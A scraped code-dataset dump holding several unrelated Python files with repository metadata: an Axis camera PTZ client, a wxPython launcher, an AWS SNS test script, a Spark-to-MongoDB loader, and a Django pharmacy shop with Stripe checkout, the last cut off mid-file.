self.quality_distribution = {}\n        self.time_distribution = {}\n", "repo_name": "barbara0811/scheduling_procedures", "sub_path": "TAEMS/taems.py", "file_name": "taems.py", "file_ext": "py", "file_size_in_byte": 60177, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.OrderedDict", "line_number": 31, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 34, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 35, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 82, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 83, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 84, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 234, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 235, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 236, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 237, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 238, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 252, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 254, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 256, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 257, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 258, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 263, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 266, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 272, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 274, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 275, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 276, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 277, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 444, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 447, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 450, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 452, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 455, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 458, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 720, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 721, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 722, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1101, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1102, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1103, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1123, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1124, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1125, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1172, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1173, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1174, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1194, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1195, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1196, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1264, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1339, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1439, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1440, "usage_type": "call"}, {"api_name": "helper_functions.calcExpectedValue", "line_number": 1441, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1470, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1472, "usage_type": "call"}, {"api_name": "sys.maxint", "line_number": 1472, "usage_type": "argument"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1474, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1476, "usage_type": "call"}, {"api_name": "sys.maxint", "line_number": 1476, "usage_type": "argument"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1478, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1493, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1494, "usage_type": "call"}, {"api_name": "helper_functions.mutiplyDistribution", "line_number": 1495, "usage_type": "call"}]}
{"seq_id": "31391565036", "text": "#!/usr/bin/env python3\n\nimport urllib.request\nimport time\nimport datetime\nimport math\nimport calendar\n\nclass Axis:\n    def __init__(self,server,uname=None,pwd=None):\n        if uname is not None and pwd is not None:\n            pass\n            # pwd_manager = urllib2.HTTPPasswordMgrWithDefaultRealm()\n            # pwd_manager.add_password(None,server,uname,pwd)\n\n            # auth_handler = urllib2.HTTPDigestAuthHandler(pwd_manager)\n\n            # opener = urllib2.build_opener(auth_handler)\n            # urllib2.install_opener(opener)\n\n        self.params = Params(server)\n        self.ptz = PTZ(server)\n        self.snapshot = Snapshot(server)\n        self.temp = TempControl(server)\n\nclass APIGroup:\n    def __init__(self,server,cmd_path):\n        self.server = server\n        self.cmd_path = cmd_path\n\n    def cmd(self,params=[]):\n        if type(params) == type(str()):\n            p = params\n        else:\n            p = '&'.join(params)\n\n        return urllib.request.urlopen(self.server+self.cmd_path+p)\n        try:\n            return urllib2.urlopen(self.server+self.cmd_path+p)\n        except:\n            return None\n\nclass Params(APIGroup):\n    def __init__(self,server):\n        APIGroup.__init__(self,server,'axis-cgi/param.cgi?')\n\n    def definitions(self):\n        return self.cmd(('action=listdefinitions','listformat=xmlschema')).read()\n\nclass TempControl(APIGroup):\n    def __init__(self,server):\n        APIGroup.__init__(self,server,'axis-cgi/temperaturecontrol.cgi?')\n\n    def action(self,device,id,a,ts=None):\n        params = ['device='+device,'id='+str(id),'action='+a]\n        if ts is not None:\n            params.append('timestamp='+str(ts))\n        return self.cmd(params).read()\n        \n    def start(self,device,id):\n        ts = calendar.timegm(datetime.datetime.utcnow().timetuple())\n        return self.action(device,id,'start',ts)\n\n    def stop(self,device,id):\n        ts = calendar.timegm(datetime.datetime.utcnow().timetuple())\n        return self.action(device,id,'stop',ts)\n    \n\n    def info(self):\n        return self.cmd().read()\n\nclass Snapshot(APIGroup):\n    def __init__(self,server):\n        APIGroup.__init__(self,server,'axis-cgi/jpg/image.cgi?')\n        \n    def get(self,compression=None):\n        if compression is not None:\n            ret = self.cmd('compression='+str(compression))\n        else:\n            ret = self.cmd()\n        if ret is not None:\n            return ret.read()\n\n    def save(self,fn,compression=None):\n        data = self.get(compression)\n        if data is None:\n            return False\n        out = open(fn,'wb')\n        out.write(data)\n        out.close()\n        return True\n\nclass Position:\n    def __init__(self,lines,ptz):\n        self.timestamp = datetime.datetime.now()\n        self.pan = None\n        self.tilt = None\n        self.zoom = None\n        self.ptz = ptz\n\n        for l in lines:\n            l = l.decode('utf-8')\n            parts = l.split('=',1)\n            if parts[0] == 'pan':\n                self.pan = float(parts[1])\n            if parts[0] == 'tilt':\n                self.tilt = float(parts[1])\n            if parts[0] == 'zoom':\n                self.zoom = ptz.coordToZoom(int(parts[1]))\n\n    def __str__(self):\n        return 'pan: {:.2f} tilt: {:.2f} zoom: {:.1f} ts: {} '.format(self.pan,self.tilt,self.zoom,self.timestamp.isoformat())\n\n    def ete(self,pan,tilt,zoom,speed):\n        time_left = 0.0\n        \n        pd = self.ptz.degreeDistance(pan, self.pan)\n        if pd is not None:\n            time_left = max(time_left,pd/speed)\n        \n        td = self.ptz.degreeDistance(tilt, self.tilt)\n        if td is not None:\n            time_left = max(time_left,td/speed)\n\n        if self.zoom is not None and zoom is not None:\n            zspeed = 0.35\n            z1 = math.log10(self.zoom)\n            z2 = math.log10(zoom)\n            zd = abs(z1-z2)\n            ztime = zd/zspeed\n            time_left = max(time_left,ztime)\n\n        return time_left\n\n    def fov(self):\n        max_fov = 55.2\n        return max_fov/self.zoom,(max_fov*(720.0/1280.0))/self.zoom\n\nclass PTZ(APIGroup):\n    def __init__(self,server):\n        APIGroup.__init__(self,server,'axis-cgi/com/ptz.cgi?')\n        self.minZoom = 1.0\n        self.maxZoom = 18.0\n        self.minZoomCoord = 1\n        self.maxZoomCoord = 9999\n\n        if server is not None:\n            print(self.getPosition())\n            limits = self.cmd('query=limits')\n            for l in limits.read().decode('utf-8').split():\n                print(l)\n\n\n\n    def info(self):\n        return self.cmd('info=1').read()\n        ret = []\n        for l in self.cmd('info=1').readlines():\n            ret.append(l.strip())\n        return ret\n\n    def zoomToCoord(self, zoom):\n        return self.minZoomCoord+int((self.maxZoomCoord-self.minZoomCoord)*\n        (zoom - self.minZoom)/(self.maxZoom-self.minZoom))\n\n    def coordToZoom(self, coord):\n        return int(0.5+(self.minZoom+((self.maxZoom-self.minZoom)*(coord-self.minZoomCoord))/float(self.maxZoomCoord-self.minZoomCoord))*100)/100.0\n\n    def speedToValue(self, speed):\n        if speed <= 0.05:\n            return 1\n        if speed >= 450.0:\n            return 100\n        if speed <= 1.5:\n            return int(pow(1340*(speed-0.045),0.366))\n        return int(pow(speed/450.0,1/3.0)*100)\n\n    def valueToSpeed(self, value):\n        if value < 2:\n            return 0.05\n        elif value >= 100:\n            return 450.0\n        elif value > 16:\n            return 450.0*pow(value/100.0,3)\n        return pow(value,2.732)/1340+0.045\n\n    def goto(self,pan=None,tilt=None,zoom=None,speed=None):\n        params = []\n        if pan is not None:\n            params.append('pan='+str(pan))\n        if tilt is not None:\n            params.append('tilt='+str(tilt))\n        if zoom is not None:\n            params.append('zoom='+str(self.zoomToCoord(zoom)))\n        if speed is not None:\n            params.append('speed='+str(self.speedToValue(speed)))\n\n        return self.cmd(params).read()\n\n    def autoFocus(self,af=True):\n        if af:\n            c = 'autofocus=on'\n        else:\n            c = 'autofocus=off'\n        return self.cmd(c).read()\n\n    def focus(self,f):\n        return self.cmd('focus='+str(f)).read()\n\n    def rFocus(self,f):\n        return self.cmd('rfocus='+str(f)).read()\n\n    def autoIris(self,ai=True):\n        if ai:\n            c = 'autoiris=on'\n        else:\n            c = 'autoiris=off'\n        return self.cmd(c).read()\n            \n    def iris(self,i):\n        i = max(0,min(9999,i))\n        return self.cmd('iris='+str(i)).read()\n\n    def irFilter(self,ir=True):\n        if ir:\n            c = 'ircutfilter=on'\n        else:\n            c = 'ircutfilter=off'\n        return self.cmd(c).read()\n                \n    def stop(self):\n        p = self.getPosition()\n        self.goto(p[0],p[1],p[2],100)\n\n    def normalizeDegrees(self,d):\n        if d < -180 or d > 180:\n            ret = d%360.0\n            if ret > 180.0:\n                return ret - 360.0\n            return ret\n        return d\n\n    def degreeDistance(self,a,b):\n        if a is None or b is None:\n            return None\n        return abs(self.normalizeDegrees(abs(a-b)))\n\n    def gotoWait(self,pan=None,tilt=None,zoom=None,speed=None):\n        self.goto(pan,tilt,zoom,speed)\n        arrived = False\n\n        actual_speed = self.getSpeed()\n\n        last_ete = None\n        while not arrived:\n            pos = self.getPosition()\n\n            time_left = pos.ete(pan,tilt,zoom,actual_speed)\n\n            if time_left > 0.0:\n                time.sleep(time_left)\n                if time_left < 0.1:\n                    arrived = True\n            else:\n                arrived = True\n                \n                \n            if last_ete == time_left:\n                stuck += 1\n            else:\n                stuck = 0\n            last_ete = time_left\n\n            if stuck > 20:\n                return False\n        return True\n\n    def getPosition(self):\n        ret = self.cmd('query=position')\n        if ret is not None:\n            self.position = Position(ret.readlines(),self)\n            return self.position\n\n    def getSpeed(self):\n        k,v = self.cmd('query=speed').read().split('=',1)\n        return self.valueToSpeed(int(v))\n        \n    def center(self, x, y):\n        return self.cmd(\"center=\"+str(int(x))+','+str(int(y))).read()\n", "repo_name": "rolker/axis_tracker", "sub_path": "src/axis_tracker/axis.py", "file_name": "axis.py", "file_ext": "py", "file_size_in_byte": 8390, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 37, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 37, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 37, "usage_type": "name"}, {"api_name": "calendar.timegm", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "attribute"}, {"api_name": "calendar.timegm", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "attribute"}, {"api_name": "math.log10", "line_number": 127, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 128, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 261, "usage_type": "call"}]}
{"seq_id": "32494680405", "text": "# -*- coding: UTF-8 -*-\n\nimport wx\nfrom MainFrame import MainFrame\n\n\nclass PdfBarcode(wx.App):\n\tdef OnInit(self):\n\t\tself.main_frame = MainFrame(None, wx.ID_ANY, \"\")\n\t\tself.SetTopWindow(self.main_frame)\n\t\tself.main_frame.Show()\n\t\treturn True\n# end of class PdfBarcode\n\n\nif __name__ == \"__main__\":\n\tapp = PdfBarcode()\n\tapp.MainLoop()\n", "repo_name": "Gchaimke/PdfBarcode", "sub_path": "barcode_reader.py", "file_name": "barcode_reader.py", "file_ext": "py", "file_size_in_byte": 332, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wx.App", "line_number": 7, "usage_type": "attribute"}, {"api_name": "MainFrame.MainFrame", "line_number": 9, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 9, "usage_type": "attribute"}]}
{"seq_id": "23761815816", "text": "import boto3\nimport json\nimport username\n\naccess = username.access\nsecret = username.secret\n\ndef main():\n    topicArn = 'arn:aws:sns:us-east-1:668476015887:designProject_test'\n    snsClient = boto3.client(\n        'sns',\n        aws_access_key_id = username.access,\n        aws_secret_access_key = username.access,\n        region_name = 'us-east-1'\n    )\n\n    publish_message = 'Hi There! Welcome to the Design Project Course taught by Professor KL Chan!'\n\n    response = snsClient.publish(\n        TopicArn = topicArn,\n        Message = publish_message\n    )\n\n    print(response['ResponseMetadata']['HTTPStatusCode'])\n    \nmain()\n\n\n", "repo_name": "nikilkumar9/designProject20_smartCurator", "sub_path": "aws/awsSNSscript/sns_test.py", "file_name": "sns_test.py", "file_ext": "py", "file_size_in_byte": 633, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "username.access", "line_number": 5, "usage_type": "attribute"}, {"api_name": "username.secret", "line_number": 6, "usage_type": "attribute"}, {"api_name": "boto3.client", "line_number": 10, "usage_type": "call"}, {"api_name": "username.access", "line_number": 12, "usage_type": "attribute"}, {"api_name": "username.access", "line_number": 13, "usage_type": "attribute"}]}
{"seq_id": "18899616774", "text": "\"\"\"\n@Author: YMH\n@Date: 2022-4-22\n@Description: 将从阿里云天池大赛下载的商品数据存储到hbase和mongodb等数据库中，便于后续项目使用\n\"\"\"\n\nimport happybase\nimport pymongo\nimport pandas as pd\nfrom pyspark import SparkConf\nfrom pyspark.sql import SparkSession\nimport json\n\nHDFS_PATH = \"hdfs://localhost:9000/recsys/dataset/\"\nSPARK_APP_NAME = \"ALSRecommend\"\nSPARK_URL = \"spark://ymh:7077\"\n\n# 建立mongodb数据库连接\nmongo_client = pymongo.MongoClient(host='localhost', port=27017)\ndb = mongo_client['recsys']\n\n\ndef store_data_hbase():\n    connection = happybase.Connection(host='localhost', port=9090)\n\n\nif __name__ == \"__main__\":\n    # connection = happybase.Connection(host='localhost', port=9090)\n    # # connection.create_table('raw_sample', {'click_info': dict(max_versions=3)})\n    # # connection.create_table('ad_feature', {'base_info': dict(max_versions=3)})\n    # # connection.create_table('user_profile', {'base_info': dict(max_versions=3)})\n    # # connection.create_table('raw_behavior_log', {'behavior_info': dict(max_versions=3)})\n    # table_list = connection.tables()\n    # print(table_list)\n    # 建立spark sql连接\n    config = (\n        (\"spark.app.name\", SPARK_APP_NAME),\n        (\"spark.executor.memory\", \"6g\"),\n        (\"spark.master\", SPARK_URL),\n        (\"spark.executor.cores\", \"3\"),\n    )\n    conf = SparkConf()\n    conf.setAll(config)\n    spark = SparkSession.builder.config(conf=conf).getOrCreate()\n\n    # file_list = ['ad_feature.csv', 'user_profile.csv', 'raw_sample.csv', 'behavior_log.csv']\n    file_list = ['raw_sample.csv', 'behavior_log.csv']\n    for file in file_list:\n        collection = db[file[:-4]]\n        spark_df = spark.read.csv(HDFS_PATH + file, header=True)\n        df = spark_df.toPandas()\n        collection.insert_many(json.loads(df.T.to_json()).values())\n        print(file)\n\n", "repo_name": "yangminghuan/e-commerce-ad-rec-sys", "sub_path": "tool/data_storage.py", "file_name": "data_storage.py", "file_ext": "py", "file_size_in_byte": 1861, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymongo.MongoClient", "line_number": 19, "usage_type": "call"}, {"api_name": "happybase.Connection", "line_number": 24, "usage_type": "call"}, {"api_name": "pyspark.SparkConf", "line_number": 42, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder.config", "line_number": 44, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 44, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "69883304267", "text": "from django.contrib import messages\nfrom django.http import JsonResponse\nfrom django.shortcuts import render,redirect\nfrom django.template.loader import render_to_string\nfrom django.views.generic import ListView, DetailView, View\nimport datetime\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom ManorPharmacy.forms import CheckoutForm\nfrom ManorPharmacy.util import *\nfrom adminpanel.models import *\nimport stripe\n\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom dateutil import parser\nimport dateutil.parser\n\nimport icalendar\nfrom icalendar import Calendar, Event\nfrom icalendar import vCalAddress, vText\nimport tempfile, os\nfrom django.core.mail import send_mail, EmailMultiAlternatives\n\n\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\n\ndef index(request):\n    context = {}\n    return render(request, 'webecommerce/index.html', context)\n\n\n# This function is the main home page of the client login and display the Announcements (or promotions)/\n# All products and services.\n\nclass IndexView(ListView):\n    model = Product\n    template_name = 'webecommerce/index.html'\n\n    def get_context_data(self, **kwargs):\n        context = super(IndexView, self).get_context_data(**kwargs)\n        products = Product.objects.filter(IsProduct=1)\n        services = Product.objects.filter(IsProduct=0)\n        context['products'] = products\n        context['services'] = services\n        # FETCH image of dashboard/index page\n        context['DashboardImage'] = Configuration.objects.filter(ConfigurationName__icontains='DASHBOARD')\n        # Fetch values for Announcement/promotoion/Post.\n        context['AnnouncementPost'] = AnnouncementPost.objects.filter(IsActive=1)\n        # Fetch Cart Details for customers to display on cart hover.\n        orderitems = {}\n        if self.request.user.id is not None:\n            customer = self.request.user.customer\n            try:\n                order = Order.objects.get(Customer=customer, IsOrderCompleted=False)\n                orderitems = order.orderdetails_set.all()\n            except ObjectDoesNotExist:\n                order = {}\n        context['orderitems'] = orderitems\n\n        return context\n\n\n# This function lands the user on the shopping page which displays Products and services.\ndef shop(request):\n    context = {}\n    return render(request, 'webecommerce/shop.html', context)\n\n\nclass ShopView(ListView):\n    model = Product\n    template_name = 'webecommerce/shop.html'\n\n    def get_context_data(self, **kwargs):\n        context = super(ShopView, self).get_context_data(**kwargs)\n        allProducts = []\n        products = Product.objects.filter(IsProduct=1)\n        allProducts.append(products)\n        services = Product.objects.filter(IsProduct=0)\n        allProducts.append(services)\n        context['allProducts'] = allProducts\n        # Fetch Cart Details for customers to display on cart hover.\n        customer = self.request.user.customer\n        try:\n            order = Order.objects.get(Customer=customer, IsOrderCompleted=False)\n            orderitems = order.orderdetails_set.all()\n        except ObjectDoesNotExist:\n            order = {}\n            orderitems = {}\n\n        context['orderitems'] = orderitems\n        # And so on for more models\n        return context\n\n\ndef shopByCategory(request):\n    # cart items is for displaying the total no of items in the cart (icon).\n\n    allProducts = []\n    category = request.POST.get(\"category\")\n    if category == \"1\":\n        products = Product.objects.filter(IsProduct=1)\n        allProducts.append(products)\n    elif category == \"2\":\n        products = Product.objects.filter(IsProduct=0)\n        allProducts.append(products)\n    else:\n        products = Product.objects.filter(IsProduct=1)\n        allProducts.append(products)\n        services = Product.objects.filter(IsProduct=0)\n        allProducts.append(services)\n    context = {'allProducts': allProducts}\n    html = render_to_string('webecommerce/searchbycategory.html', context)\n    return JsonResponse(html, safe=False)\n\n\n# This function represents the detail view of any selected product / service.\n# From here, user can add the product into the cart.\nclass DetailView(DetailView):\n    model = Product\n    template_name = 'webecommerce/detail.html'\n\n\n# This function represents the total items which are added in the shopping cart.\n# It also show the discount amount: If user wants to pay full amount in one go,\n# then he is eligible for 10% flat discount.\ndef cart(request):\n    data = cartData(request)\n    cartItems = data['cartItems']\n    items = data['items']\n    order = data['order']\n    # Get the % amount for Full payment discount. This will be managed by Admin/Super admin.\n    discountAmountForFullPayment = getFullPaymentDiscount(order, 'Fulltime Payment')\n    # Full payment discount calculation.\n    # Here, the Full Payment discount will be applied ONLY ON SERVICES.\n    # Customer must pay full amount of purchased product at the tome of purchasing.\n    totalAmountWithDiscount = order.get_TotalForAllProductPriceAndInitialSetupCharge_WithFullPayment - discountAmountForFullPayment\n\n    context = {'items': items, 'order': order, 'cartItems': cartItems, 'itemCount': len(items),\n               'discountAmountForFullPayment': discountAmountForFullPayment,\n               'totalAmountWithDiscount': totalAmountWithDiscount}\n    return render(request, 'webecommerce/cart.html', context)\n\n\n# This function represents the total items which are added in the shopping cart along with the\n# Shipping/Billing address and coupon code details. If customer has discount coupon code then he can apply the code\n# and get another discount on total payment.\n\ndef checkout(request):\n    STRIPE_PUBLISHABLE_KEY = settings.STRIPE_PUBLISHABLE_KEY\n\n    form = CheckoutForm()\n    isPayByInstallment = request.GET.get('data')\n    data = cartData(request)\n    cartItems = data['cartItems']\n    items = data['items']\n    order = data['order']\n    customerdetail = data['customerdetail']\n    currentDate = datetime.datetime.now()\n    yearLimit = currentDate.year + 21\n    yearList = []\n    totalwithDiscount = 0\n\n    # discountAmount = getDiscount(order, 'Fulltime Payment')\n    discountAmountForFullPayment = getFullPaymentDiscount(order, 'Fulltime Payment')\n\n    totalAmountWithDiscount = order.get_TotalForAllProductPriceAndInitialSetupCharge_WithFullPayment - discountAmountForFullPayment\n    sameHouseHoldCustomerId = customerdetail[11]\n    referralCustomerId = customerdetail[12]\n\n    otherReferralDiscount = 0\n    sameHouseHoldReferralDiscount = 0\n    IsServiceExists = False\n    IsProductExists = False\n    discountOnProduct = 0\n    discountPercentageOnProduct = 0\n\n    for item in items:\n        if item.Product.IsDiscountable and item.Product.IsProduct:\n            discountPercentageOnProduct += item.Product.DiscountPercentage\n        if item.Product.IsProduct:\n            IsProductExists = True\n        if not item.Product.IsProduct:\n            IsServiceExists = True\n\n        # TO DO: Get the discount of Product and calculate it.\n        if order.get_CartTotalPriceForAllDiscountableProduct_WithFullPayment > 0:\n            discountOnProduct = \\\n                (order.get_CartTotalPriceForAllDiscountableProduct_WithFullPayment * discountPercentageOnProduct) / 100\n\n        fullDiscountAmount = 0\n        if isPayByInstallment == 'no':\n            fullDiscountAmount = getFullPaymentDiscount(order, 'Fulltime Payment')\n            totalwithDiscount = order.get_TotalForAllProductPriceAndInitialSetupCharge_WithFullPayment - fullDiscountAmount - discountOnProduct\n        else:\n            totalwithDiscount = order.get_TotalPrice_WithInstallmentPayment - discountOnProduct\n\n    # Customer Personal Discount\n    customerPersonalDiscount = customerdetail[14]\n    customerPersonalDiscountAmount = 0\n\n    # if customerPersonalDiscount > 0:\n    #     customerPersonalDiscountAmount = (totalwithDiscount * customerPersonalDiscount) / 100\n    #     print('personal disc', customerPersonalDiscountAmount)\n    #     totalwithDiscount = totalwithDiscount - customerPersonalDiscountAmount\n\n    for i in range(currentDate.year, yearLimit):\n        yearList.append(i)\n\n    context = {'items': items, 'order': order, 'cartItems': cartItems, 'customerdetail': customerdetail,\n               'yearLimit': yearList, 'totalwithDiscount': totalwithDiscount, 'isPayByInstallment': isPayByInstallment,\n               'discountOnProduct': discountOnProduct,\n               'discountAmountForFullPayment': fullDiscountAmount,\n               'customerPersonalDiscountAmount': customerPersonalDiscountAmount,\n               'IsServiceExists': IsServiceExists,\n               'IsProductExists': IsProductExists,\n               'form': form,\n               'STRIPE_PUBLISHABLE_KEY': STRIPE_PUBLISHABLE_KEY\n               }\n\n    return render(request, 'webecommerce/checkout.html', context)\n\n\n# This function updates all the necessary tables after placing an order and successful payment.\n# The tables which needs to be updated are:\n# Order, Payment, InstalmentDue, Product, OrderDiscount, CustomerDiscount\n# Also, it will send the Invoice  as an attachment along with an email.\ndef placeOrder(request):\n    transId = datetime.datetime.now().timestamp()\n\n    data = json.loads(request.body)\n    cookiedata = cartData(request)\n    items = cookiedata['items']\n    orderFromCookie = cookiedata['order']\n    address = data['Shipping']\n    paymentInInstalment = data['paymentInInstalment']\n    serviceDiscount = data['serviceDiscount']\n    serviceDiscountPercentage = data['serviceDiscountPercentage']\n    serviceDiscountId = data['serviceDiscountId']\n\n    try:\n        customer = request.user.customer\n        # Get / Create Order and payment based on the customer who has logged in.\n        if request.user.is_authenticated:\n            order, created = Order.objects.get_or_create(Customer=customer, IsOrderCompleted=False)\n            payment, created = Payment.objects.get_or_create(Order=order)\n        else:\n            customer, order, payment = guestOrder(request, data)\n\n        total = float(data['User']['total'])\n        payment.Amount = total\n        payment.Payment_Type = data['paymentType']\n        order.Transaction_Id = transId\n        order.ActualAmountToPay = orderFromCookie.get_CartTotalPriceForInitialSetupAndProduct\n        payment.save()\n        order.save()\n\n        serviceInstalmentMonth = 0\n        # Update Instalment Due table if the payment is done by instalment.\n        # Also, the instalment amount will be decided based on the number of customers selection.\n        # If the service is for 2 family member then the price will be differ.\n        if paymentInInstalment == 'yes':\n            for item in items:\n                if not item.Product.IsProduct:\n                    if item.TotalNoOfPerson == 1:\n                        serviceInstalmentMonth = item.Product.NoOfInstallmentMonths\n                        price = item.Product.Price * item.Quantity\n                        days = 28\n                        # TODO: Create SP to insert values in database\n                        if int(float(serviceDiscount)) > 0:\n                            discountAmount = price * int(float(serviceDiscountPercentage)) / 100\n                            price = price - discountAmount\n                        for i in range(1, serviceInstalmentMonth + 1):\n                            # Logic for the instalment cycles:\n                            # Customer has to pay his Fist instalment after 14 days of from the purchase date.\n                            # For e.g. if customer purchased any service on 1st December then ,\n                            # the next instalment will be after 14 days, i.e. 15th December.\n                            # Then the second instalment will be after 28 days from the actual purchase date.\n                            # (as per above e.g., it will be on 30th December).\n                            # And now next all instalments will be after 28 days from the LAST instalment.\n                            if i == 1:\n                                days = 14\n                            else:\n                                days += 28\n                            todaysdate = datetime.timedelta(days=days)\n                            duedate = datetime.date.today() + todaysdate\n                            installment_due = InstallmentDue.objects.create(Order=order)\n                            installment_due.Due_Installments = i\n                            installment_due.Amount_Due = price\n                            installment_due.InstalmentDueDate = duedate\n                            installment_due.Customer_Id = customer.Customer_Id\n                            installment_due.User_Id = request.user.id\n                            installment_due.IsInstalmentPaid = 0\n                            installment_due.OrderDetail_id = item.id\n                            installment_due.save()  #\n                            if i == 1:\n                                days = 0\n                    else:\n                        serviceInstalmentMonth = item.Product.NoOfInstallmentMonths\n                        price = (item.Product.Price + item.Product.AdditionalMemberPrice) * item.Quantity\n                        if int(float(serviceDiscount)) > 0:\n                            discountAmount = price * int(float(serviceDiscountPercentage)) / 100\n                            price = price - discountAmount\n                        for i in range(1, serviceInstalmentMonth + 1):\n                            if i == 1:\n                                days = 14\n                            else:\n                                days += 28\n\n                            todaysdate = datetime.timedelta(days=days)\n                            duedate = datetime.date.today() + todaysdate\n                            installment_due, created = InstallmentDue.objects.get_or_create(Order=order)\n                            installment_due.Due_Installments = i\n                            installment_due.Amount_Due = price\n                            installment_due.InstalmentDueDate = duedate\n                            installment_due.Customer_Id = customer.Customer_Id\n                            installment_due.User_Id = request.user.id\n                            installment_due.IsInstalmentPaid = 0\n                            installment_due.OrderDetail_id = item.id\n                            installment_due.save()  #\n                            if i == 1:\n                                days = 0\n                    if int(float(serviceDiscount)) > 0:\n                        order.ServiceDiscountAmount = serviceDiscount\n                        order.ServiceDiscountCode = serviceDiscountId\n        else:\n            fullDiscountAmount = getFullPaymentDiscount(order, 'Fulltime Payment')\n            order.FullPaymentDiscountAmount = fullDiscountAmount\n\n        try:\n            # Payment Integration\n            token = data['token']  # request.POST.get(\"stripeToken\")\n            paymentDescription = 'Payment Done by ' + data['User']['name']\n            charge = stripe.Charge.create(\n                amount=int(total * 100),\n                currency=\"gbp\",\n                source=token,\n                description=paymentDescription\n            )\n            message = \"\"\n\n        except stripe.error.CardError as e:\n            # Since it's a decline, stripe.error.CardError will be caught\n            print('Status is: %s' % e.http_status)\n            print('Code is: %s' % e.code)\n            print('Param is: %s' % e.param)\n            print('Message is: %s' % e.user_message)\n            body = e.json_body\n            err = body.get('error', {})\n            messages.error(request, err.get('message'))\n            print('error in 